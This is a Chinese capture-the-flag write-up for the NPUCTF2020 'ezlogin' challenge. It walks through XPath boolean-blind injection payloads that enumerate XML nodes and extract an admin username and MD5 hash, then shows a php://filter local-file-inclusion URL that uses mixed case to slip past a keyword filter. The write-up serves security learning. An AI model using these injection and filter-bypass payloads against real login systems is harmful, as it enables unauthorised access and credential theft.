[NPUCTF2020]ezlogin

考点:

xPath注入

解题:

这题服务端用户名和密码通过xml文件存储,通过将提交的用户名和密码拼接到xpath中进行查询,查询到数据即通过验证,反之则未通过。

猜测后台xpath语法:

//root/accounts/user[username/text()=$username and password/text()=$password]

我们可以在$username处进行注入

Bool注入过程

1.获取根下的节点个数

'or count(/*)=1  or ''='    #非法操作
'or count(/*)=2  or ''='    #用户名或密码错误

通过count(/)获取根下节点个数,当等于2时错误因此判断根下只有一个节点。

2.获取根下节点名

# 获取节点名长度
'or string-length(name(/*[1]))=4 or ''='
# bool注入获取节点ming
'or substring(name(/*[1]), 1, 1)='a'  or ''='

string-length() :获取字符串长度

substring()      :截取字符串

name()           :获取节点名称

3.重复1和2遍历出所有叶子节点

'or count(/root/accounts/user/username*)>0  or ''=' 报错表明username已是叶子节点,使用text()获取文本。

'or substring(/root/accounts/user/username[1]/text(), 1, 1)='a'  or ''='

最终可以爆出用户名以及哈希:adm1n:cf7414b5bdb2e65ee43083f4ddbc4d9f

在线md5解密得到:gtfly123

使用adm1n:gtfly123登入:

 查看源码

在url中发现file参数,尝试利用filter协议读取flag

由于过滤了php和base,通过大小写绕过:

?file=pHp://filter/convert.bASe64-encode/resource=/flag

 得到flag:

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值